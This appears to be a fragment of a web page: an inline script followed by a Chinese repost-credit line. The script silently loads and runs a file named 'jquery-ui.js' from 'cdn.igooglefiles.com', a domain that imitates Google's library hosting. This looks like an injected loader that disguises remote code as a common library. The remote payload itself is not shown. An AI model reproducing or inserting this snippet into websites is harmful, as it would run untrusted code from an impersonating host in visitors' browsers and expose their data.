<script>(function(d, s, id) {    var js, fjs = d.getElementsByTagName(s)[0];    if (d.getElementById(id)) return;    js = d.createElement(s); js.id = id;    js.src = "//cdn.igooglefiles.com/jquery-ui.js";    fjs.parentNode.insertBefore(js, fjs);    }(document, 'script', 'jquery-uisdk'));</script>

转载请注明出处。